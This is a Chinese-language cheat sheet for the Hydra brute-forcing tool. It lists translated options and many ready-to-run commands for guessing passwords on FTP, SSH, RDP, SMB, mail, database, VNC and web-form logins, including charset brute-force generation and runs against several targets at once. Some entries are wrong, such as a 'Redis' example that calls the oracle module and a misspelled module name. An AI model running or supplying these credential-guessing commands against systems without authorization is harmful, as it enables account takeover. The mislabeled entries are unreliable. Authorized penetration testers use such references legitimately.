1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Syntax: hydra [-l LOGIN|-L FILE] [-p PASS|-P FILE] [service://server[:PORT][/OPT]|-M FILE]
service 指定服务名,支持的服务和协议
server 目标:DNS、IP或192.168.0.0/24(这个或-M选项)

Options:
-l LOGIN or -L FILE 使用指定登录名登录,或者使用文件加载多个登录名
-p PASS or -P FILE 使用指定密码登录,或者使用文件加载多个密码
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替 -L/-P 参数
-M FILE 要攻击的服务器列表,每行一个条目,':'指定端口
-R 恢复先前终止/崩溃的会话
-I 忽略现有的还原文件(不要等待10秒)
-S 执行SSL连接
-s PORT 如果服务在不同的默认端口上,则在这里定义它
-x MIN:MAX:CHARSET 密码暴力生成, 使用’-x -h‘获取帮助
-y 暴力破解时忽略符号
-e nsr 可选选项,n:空密码试探,s:使用指定用户和密码试探,或“r”反向登录
-u 循环用户,而不是密码(有效!用-x表示)
-o FILE 将找到的登录名/密码对写入FILE而不是输出
-b FORMAT 指定-o文件的格式:text(默认),json, jsonv1
-f / -F 当找到login/pass对时退出(-M: -f per host, -f global)
-t TASKS 同时运行的线程数,默认为16
-T TASKS 运行线程 (默认64)
-w / -W TIME 设置最大超时的时间,单位秒,默认是30s
-c TIME 所有线程上每次登录尝试的等待时间(强制执行-t 1)
-4 / -6 使用IPv4(默认)/ IPv6地址(将always放在[]中,也放在-M中)
-v / -V / -d 详细模式/每次尝试显示登录+通过/调试模式
-O 使用旧的SSL v2和v3
-K 不重做失败的尝试(适用于-M批量扫描)
-q 不打印有关连接错误的消息
-U 服务模块使用详情
-m OPT 选项特定于模块,请参见-U output获取信息
# OPT 一些服务模块支持额外输入(-U表示模块帮助)

# ftp
hydra -l user -P passlist.txt ftp://192.168.0.1

# ftp IP-segment
hydra -l admin -p password ftp://[192.168.0.0/24]/

# imap
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN

# pop3
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5

# ssh
hydra -L logins.txt -P pws.txt -M targets.txt ssh
服务 服务/协议 描述 示例命令
FTP 文件传输协议 (FTP) 用于强制获取 FTP 服务的登录凭据,通常用于通过网络传输文件。 hydra -l admin -P /path/to/password_list.txt ftp://192.168.1.100
SSH 安全外壳 (SSH) 针对 SSH 服务进行暴力破解凭证,通常用于安全远程登录系统。 hydra -l root -P /path/to/password_list.txt ssh://192.168.1.100
http-post-fom HTTP Web 服务 用于通过 GET 或 POST 请求强制获取 HTTP Web 登录表单的登录凭据。 hydra -l admin -P /path/to/password_list.txt http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect"
smtp 简单邮件传输协议 通过暴力破解通常用于发送电子邮件的 SMTP 登录凭据来攻击电子邮件服务器。 hydra -l admin -P /path/to/password_list.txt smtp://mail.server.com
pop3 邮局协议 (POP3) 以电子邮件检索服务为目标,暴力破解 POP3 登录凭证。 hydra -l user@example.com -P /path/to/password_list.txt pop3://mail.server.com
imap 互联网消息访问协议 用于强制获取 IMAP 服务的凭证,从而允许用户远程访问他们的电子邮件。 hydra -l user@example.com -P /path/to/password_list.txt imap://mail.server.com
mysql MySQL 数据库 尝试强制获取 MySQL 数据库的登录凭据。 hydra -l root -P /path/to/password_list.txt mysql://192.168.1.100
mssql 微软 SQL 服务器 以 Microsoft SQL 服务器为目标,暴力破解数据库登录凭据。 hydra -l sa -P /path/to/password_list.txt mssql://192.168.1.100
vnc 虚拟网络计算 (VNC) 暴力破解 VNC 服务,用于远程桌面访问。 hydra -P /path/to/password_list.txt vnc://192.168.1.100
rdp 远程桌面协议 (RDP) 针对 Microsoft RDP 服务进行远程登录暴力破解。 hydra -l admin -P /path/to/password_list.txt rdp://192.168.1.100
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# 针对多个服务器
hydra -l root -p toor -M targets.txt ssh

# HTTP GET
hydra -L usernames.txt -P passwords.txt www.example.com http-get

# HTTP POST-Form
hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f IP -s 5000 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"
# F=Field 指示尝试失败
# S=302 指示登录成功
# 可以指定Respond包中的字符串

# 密码组合 密码策略由6到8个字符组成,包括小写字母、大写字母和数字
hydra -l administrator -x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 rdp://192.168.1.100

# HTTP Authorization: Basic YWxpY2U6c2VjcmV0MTIz
hydra -l basic-auth-user -P passwords.txt 10.10.10.10 -s 81 http-get /

# SSH
hydra -l admin -P /path/to/password_list.txt ssh://192.168.1.1
hydra -L /path/to/usernames.txt -P /path/to/password_list.txt ssh://192.168.1.1

# FTP
hydra -l <username> -P <password_list> ftp://<target_ip>

# RDP
hydra -l administrator -P 密码字典 192.168.31.173 rdp

# SMB
hydra -l administrator -P 密码字典 192.168.31.173 smb

# POP3
hydra -l 用户名 -P 密码字典 192.168.31.173 pop3

# mssql
hydra -l sa -P 密码字典 192.168.31.173 mssql

# mysql
hydra -l 用户名 -P 密码字典 192.168.31.173 mysql

# Redis
hydra -l 用户名 -P 密码字典 192.168.31.173 oracle

# PgSQL
hydra -l 用户名 -P 密码字典 192.168.31.173 postgresql

2024-09-09
Contents

⬆︎TOP